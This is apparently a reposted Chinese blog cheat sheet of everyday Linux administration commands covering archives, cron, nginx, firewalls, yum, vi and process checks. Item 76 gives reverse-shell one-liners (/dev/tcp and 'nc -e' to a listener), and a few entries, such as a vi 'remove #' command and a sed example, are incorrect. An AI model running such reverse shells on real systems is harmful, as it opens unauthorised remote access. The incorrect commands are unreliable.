Linux常用命令大全

一. linux常用命令

***************************************************

1.覆盖拷贝命令

 cp -ri

2. a拷贝到b目录(移动或重命名)

 #mv a b
mv - move (rename) files
如果b目录存在则a文件或目录会移动到b目录下,如果b目录不存在,则a会重命名为b文件或目录

3.修改服务器编码

vim /etc/sysconfig/i18n
vim /etc/profile

4.查看服务器编码:

 locale;

5.输出日志启动服务:

 ../startup.sh ; tail -f ../logs/catalina.out

6.清空文件三种方法

method1:
#cat /dev/null > abc.txt 
method2:
#cat "" > abc.txt
method3:
#> abc.txt

7.tar压缩、解压

压缩:
tar zcvf member.qz.0309.tar.gz member.china.root.qz
解压到当前目录:
tar zxvf jsp_simexam.tar.gz
解压.bz2文件    
bunzip2 x264-snapshot-20070913-2245.tar.bz2
tar xvf x264-snapshot-20070913-2245.tar

 或
tar -xvjf ffmpeg-checkout-snapshot.tar.bz2
unzip到制定目录:
unzip -d /root/ test.zip
压缩:xz [原文件名].tar
解压:unxz [原文件名].tar.xz
#tar -xvf Python-2.7.8.tar.xz

8.另一台服务器文件考到当前服务器:
scp zh@59.**.**.85:/home/zz/tag_simexam.tar.gz .
递归拷贝:
scp -r zdde@**.151.**.109:/home/fff/sh ./
scp chinaaccess.log_1[1-3].tar.gz admin@10.**.0.**:/tmp/
china.access.log_11.tar.gz、china.access.log_12.tar.gz、china.access.log_13.tar.gz

9.查看磁盘空间占用情况
df -l

10.查看文件夹大小
du -sh * | sort -n

11.定时任务配置:
crontab -e   //编辑任务
crontab -l    //查看任务
tail /var/log/cron   //定时任务执行日志
下面的目录也可以设置按照daily,week,month的定时任务,配置信息可以查看/etc/anacrontab文件
/etc/cron.daily
/etc/cron.weekly
/etc/cron.monthly

拿cron.daily来说明:
RANDOM_DELAY:最大延迟时间45分钟,
START_HOURS_RANGE:3点到22点之间执行,测试过,一般是多数都是3点22开始执行,但从注释翻译过来的意思是在3点到22点之间。
pdriod in days:1 每天的意思
delay in minutes:延迟多少分钟,这里是5分钟
综上,cron.daily的定时基本上在3.22开始到3.22延迟(45+5)50分钟区间执行。

12.打zip包

zip -r abc.zip abc

13.环境变量编码设置

export LC_ALL=UTF-8
vi /etc/profile

JAVA_HOME=/usr/java/jdk1.6.0_13
PATH=${JAVA_HOME}/bin
CLASSPATH=${JAVA_HOME}\jre\lib\rt.jar

14.虚拟目录创建 ln

#ln -s /web/project/op op   //软连接
取消软链:
#rm op

15.Linux查看端口号是否被占用;
netstat -anp | grep ###

16.history增加执行时间;

(1).编辑/etc/bashrc文件
(2).末尾加:
export HISTFILESIZE=1000000000 #设置保存历史命令的文件大小
export HISTSIZE=1000000 # 保存历史命令条数
export PROMPT_COMMAND="history -a" #实时记录历史命令,
export HISTTIMEFORMAT="%Y-%m-%d_%H:%M:%S " # 记录每条历史命令的执行时间

(3).# source /etc/bashrc

echo 'export HISTTIMEFORMAT="%F %T `whoami` "' >> /etc/profile 然后source一下就

HISTTIMEFORMAT='%F %T>: '

(4).记录history文件:
~/.bash_history 

(5)保存执行过的命令
#history -w
17.配置用户执行root权限文件

 visudo

18. 查找文件

查找文件名以make开始的文件
find -name make*  

查找tmp目录下的py文件同时文件名中含有test关键字的文件
find /tmp/ -name *.py|grep test

查找tmp目录下的py文件同时文件内容中含有test关键字的文件
find /tmp/ -name *.py|xargs grep test

19.查看环境变量

echo $JAVA_HOME

20. 查看命令在哪

which pdf2swf

21.nginx启动

./nginx

平滑重启
nginx -s reload;
验证配置:
nginx -t;
强制停止 :
pkill -9 nginx

22.查看服务器版本:

lsb_release -a
cat /etc/issue
cat  /etc/redhat-release

操作系统内核版本
#cat /proc/version
#uname -a

23.查看机器位数系统位数

getconf LONG_BIT

24.python使用

mv movefile.sh movefile.py
python movefile.py files.txt

25.查看文件夹下文件个数

(1)查看当前目录下文件的个数

ls -l | grep "^-" | wc -l

(2)查看当前目录下文件的个数,包括子目录里的。

ls -lR| grep "^-" | wc -l

(3)查看某目录下文件夹(目录)的个数,包括子目录里的。

ls -lR| grep "^d" | wc -l

(4)查看目录所属(如查看tmp目录属主)
#ls -ld tmp 

26.查看进程是否有效!

#ps -aux|grep ffmpeg
1010 ll /proc/28120/fd/
#strace -f -p 28120
#killall ffmpeg

27.上传功能大文件上传不了

 (1)程序控制

 (2)nginx配置;

 (3)磁盘空间满;

28.yum安装及卸载

#yum install ...                             //安装
#yum remove ...                          //谨慎使用,会删除掉依赖,影响其他软件
#yum remove XXX --nodepes    //不删除依赖
#yum provides */lsb_release      //找到哪里可以下载到这个lsb_release命令
#yum list installed|grep  zeromq3 //检查软件zeromq3是否安装
#yum install lrzsz    //安装rz、sz工具

29.yum安装及卸载提示无法分配内存处理:

cd /var/lib/rpm/
for i in `ls | grep 'db.'`;do mv $i $i.bak;done
rpm --rebuilddb
yum clean all
yum update
修改源:/etc/yum.repos.d/

30.修改系统时间;

ntpdate asia.pool.ntp.org
date -s "2013-05-28"
前提,可以联网;
修改时区
#tzselect
#cp /usr/share/zoneinfo/Asia/Shanghai /etc/localtime

31.dns配置;

文件:/etc/resolv.conf

32.防火墙配置

关闭防火墙--service iptables stop
打开端口--/sbin/iptables -A INPUT -p udp --dport 58 -j ACCEPT
chkconfig iptables --list

【centOS7】
systemctl stop|start|status firewalld
#允许某个端口开放
#firewall-cmd --zone=public --permanent --add-port=3306/tcp
#查看已经开通的端口号
# iptables -nL

【防火墙配置文件:】
/etc/sysconfig/iptables
33.递归修改文件夹下文件的权限

chmod -R 775 www.huabeisai.com_51100

34.查看cpu信息

cat /proc/cpuinfo

35.ant构建

Ant –buildfile build.xml

36.创建用户

adduser joe
passwd joe

37.hosts配置

vim /etc/hosts

38.配置域名服务器

vi /etc/resolv.conf
search localdomain
nameserver 202.***.196.***
nameserver 202.***.0.***

39.当前目录属于哪个盘符

df -h .

40.两台服务器同步目录

rsync -av --delete webroot root@***.151.***.46:/opt/web/.

【限速拷贝】

rsync -avPL --bwlimit=10000 /data/ /databak/

41.linux将安装的命令终端可执行,加到环境变量中即可。

vim /etc/profile
export PATH=....:/root/bin:/opt/mongodb/bin:/usr/local/swftools/bin
source /etc/profile

42.查看服务器ssh链接

 ps -elf|grep sshd

43.端口号占用查看:

#ps -ef |grep 程序名
#netstat -nltp |grep 端口号或服务名

44.samba启动:

启动Samba服务
/etc/rc.d/init.d/smb start
停止Samba服务
/etc/rc.d/init.d/smb stop
重新启动Smaba服务
/etc/rc.d/init.d/smb restart
重新加载Smaba服务
/etc/rc.d/init.d/smb reload
编辑启动加载项
ntsysv
chkconfig -level n smb on/off

45.查看域名指向

#nslookup

46.count文件中一共有多少个exception

#cat abc.log | grep exception|wc -l

47.查看服务器连接状态

#netstat -nat |awk '{print $6}'|sort|uniq -c|sort -n
#netstat -an|grep 80|grep EST|wc -l

48.启动端口的简单服务,测试端口是否开通

#nc -lp 31101
http协议测试端口是否可以连通:
#telnet ip 31101
udb协议测试端口是否可以连通:
#nc -vuz 192.168.192.217 1514

49.查看机器配置

 (1)cat /proc/cpuinfo |grep 'Intel(R) Xeon(R) CPU E5620 @ 2.40GHz'|wc -l
 (2)操作系统查看:

#uname -a
#lsb_release -a
#cat /etc/redhat-release 
#cat /etc/issue  #CentOS<=6.5
#more /etc/issue

 (3)操作系统位数查看:

 getconf LONG_BIT

 (4).检测linux系统是否为虚拟机/实体机

#dmesg | grep -i virtual

(5)查看CPU信息:

# 总核数 = 物理CPU个数 X 每颗物理CPU的核数 

# 总逻辑CPU数 = 物理CPU个数 X 每颗物理CPU的核数 X 超线程数

# 查看物理CPU个数
#cat /proc/cpuinfo| grep "physical id"| sort| uniq| wc -l

# 查看每个物理CPU中core的个数(即核数)
#cat /proc/cpuinfo| grep "cpu cores"| uniq

# 查看逻辑CPU的个数
#cat /proc/cpuinfo| grep "processor"| wc -l

 查看CPU信息(型号)
#cat /proc/cpuinfo | grep name | cut -f2 -d: | uniq -c

查看内 存信息
# cat /proc/meminfo

50.fms关闭命令

 /etc/init.d/fms stop

 启动命令:
/etc/init.d/fms start

 重启命令:
/etc/init.d/fms restart

 硬盘挂载、硬盘共享。

51.查看占用资源的进程

top
lsof -p (PID)10746 

52.服务加入自启动中

编辑
vim /etc/rc.local
文件即可

53.linux下openoffice启动

soffice -headless -accept="socket,host=127.0.0.1y,port=8100;urp;" -nofirststartwizard --display :0 &

54.挂载硬盘到某个目录下

mount /dev/vdb /opt/

55.服务器重启后,指定服务自启动|开机自启动

将需要自启动的脚本放到:
/etc/init.d
目录下即可;或:
vim /etc/rc.d/rc.local
加入要启动的服务命令,保存退出

56.查找、替换目录下所有文件中某个字符串

(1)查找:

grep -lr 'hello world' /opt/tmp
排除某些文件查找,提高查询效率:
grep -lr 'member.china.root' ./ --exclude=*.out --exclude=*.log
(2)替换/opt/tmp目录下搜有文件中zhangsan替换为lisi:
sed -i "s/zhangsan/lisi/g" 'grep zhangsan -lr /opt/tmp'

57.Linux环境变量配置

<1>环境变量配置;

(1)/etc/profile 全局,任何用户都可以;
(2)~/.bash_profile 只在当前用户生效;
<2>终端命令别名配置:
(1)/etc/bashrc 全局,任何用户都可以;
(2).bashrc 只在当前用户生效;

58.服务器禁ping命令

echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all

59、vi全局替换 vi替换 vim替换

替换所有“/local”为“”空字符串
:%s/\/local//g
"aaa"替换为"local"
:%s/aaa/local/g
【17行到33行行首加#号】
:17,33s/^/#/g
【去掉17行到33行#号】
:17,33s/^/#/g
:%s/^/#/g   所有行首加#

【vi拷贝17行到25行内容防盗26行】
:17,25 co 26

【vi行首加#号】
17,25s/^/#/g

【vi至行尾】

shift+GG
0#行首
$#行尾

【vi中查找某个字符串出现多少次】

:%s/string/&/gn

60、【重定向标准输出】

shell将标准错误输出重定向为标准输出
/tmp/test.sh >/tmp/test.log 2>&1

61、【root用户下执行admin用户权限】

crontab -u admin -l
crontab -u admin -e
!tail
!cat

62、【apache启动、停止、重启】

基本的操作方法:
本文假设你的apahce安装目录为/usr/local/apache2,这些方法适合任何情况
apahce启动命令:
推荐/usr/local/apache2/bin/apachectl start apaceh启动
apache停止命令
/usr/local/apache2/bin/apachectl stop   停止
apache重新启动命令:
/usr/local/apache2/bin/apachectl restart 重启
要在重启 Apache 服务器时不中断当前的连接,则应运行:
/usr/local/sbin/apachectl graceful
如果apache安装成为linux的服务的话,可以用以下命令操作:
service httpd start 启动
service httpd restart 重新启动
service httpd stop 停止服务

63.终端全屏 top cpu

ALT+Enter全屏
Sorry, terminal is not big enough
依然提示
mpstat -P ALL 2 1000
&
htop

64.【网络问题分析常用命令】

1、tracert
2、nslookup
3、tcpdump
4、strace
5、ping

65、修改ssh登录端口

#vim /etc/ssh/sshd_config
去掉#Port 22注释 ,重启sshd服务:
#/etc/init.d/sshd restart
ssh root@192.168.**.** -p 222

66、计算器

bc

67、linux shell 查看进程的可执行程序路径

ps -el | grep nginx
ls -l /proc/19120/exe | awk '{print $11}'

68、根据nginx运行进程查看,nginx配置文件位置

#ps -ef|grep nginx
#ll /proc/24208/exe

69、shell客户端最大化

ALT+Enter

70、vim|vi 回退撤销

u   撤销上一步的操作
Ctrl+r 恢复上一步被撤销的操作

71、stat查看文件状态

查看文件创建及修改情况

72、查看服务器ip命令

ip a|ifconfig

73、创建目录
#mkdir dir1
如果父目录不存在则自动创建
#mkdir /usr/local/soft/db/mysql -p

74.检查软件包是否安装

#rpm -qa | grep mysql
#yum list installed|grep mysql
#strings /lib64/libc.so.6 |grep GLIB

75.网络配置|联网配置|上网配置

配置ip->
vim /etc/sysconfig/network-scripts/ifcfg-eth0
配置域名解析->
vim /etc/resolv.conf
nameserver 202.106.0.20
nameserver 114.114.114.114

76.bash反弹
主机:
nc -lvp 8888
靶机(一下两种命令均可实现bash反弹):
#/bin/sh -i >& /dev/tcp/192.168.192.144/8888 0>&1
#nc -e /bin/bash 192.168.192.144 8888

77.服务器重启|关闭

重启:reboot|init 6
关闭:shutdown|init 0

78.selinux
查看SELinux的状态
# /usr/sbin/sestatus
关闭
# setenforce 0
查看设置
# getenforce 

79.同时启动多个服务
#for i in {httpd,mysqld,sendmail}; do service $i restart; done

80.chown命令改变目录及其子目录文件的用户所属
# chown apache:apache ossec-wui/ -R

81.nmap
查看某个ip开启的端口号
# nmap -sS -T4 192.168.192.101 --open

82.sort
查找文本文件中重复的行
sort ./test.log | uniq -d
去重后的行(重复的行显示一条记录)
sort ./test.log -u
统计每一行有多少条记录,并按照第一列数值排序,倒序
sort 1pass03.txt |sort|uniq -c|sort -n -k1,1nr

83.split【文件切割】
split -b 100m test.log (将test.log按照每100兆字节一个文件进行分隔)
split -l 10000 test.log (将test.log按照每10000行数一个文件进行分隔)

84.查看端口下运行的程序
#lsof -i:22
#ls /proc/${pid}/exe -al  //pid从上一步命令结果获得。
85.grep管道符结合--include参数
grep 'rules' -lr ./ --include=*.xml --include=*.sh
查找目录下以xml及sh结尾的文件中含有rules关键字的文件

86.调整系统syslog配置
# /etc/rsyslog.conf
# /etc/init.d/rsyslog restart

87.查看文件中非注释行以及非空行内容
# grep -v '^#' /etc/rsyslog.conf |grep -v "^$"

88.nohup
中控台工具

89.ntoppng
/usr/local/bin/ntopng -i eth3 -m 211.157.0.0/24 -G /var/tmp/ntopng.gid -e -w 443 -U root

90.atop
linux服务器监控工具,它的数据采集主要包括:CPU、内存、磁盘、网络、进程等。

91.ngrep监测某一端口数据
#ngrep -q -d any port 1514

92.查看Linux哪个进程占用的SWAP分区比较多
#for i in $(ls /proc | grep "^[0-9]" | awk '$0>100'); do awk '/Swap:/{a=a+$2}END{print '"$i"',a/1024"M"}' /proc/$i/smaps;done| sort -k2nr | head

93.swap分区的查看挂载及卸载
#swapon -s                    #查看
#swapoff /swapfile        #卸载
#swapon /swapfile        #重新挂载
swap分区被占满后的修复方式:卸载后再重新挂载

转载于:https://my.oschina.net/guiguketang/blog/1809293

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值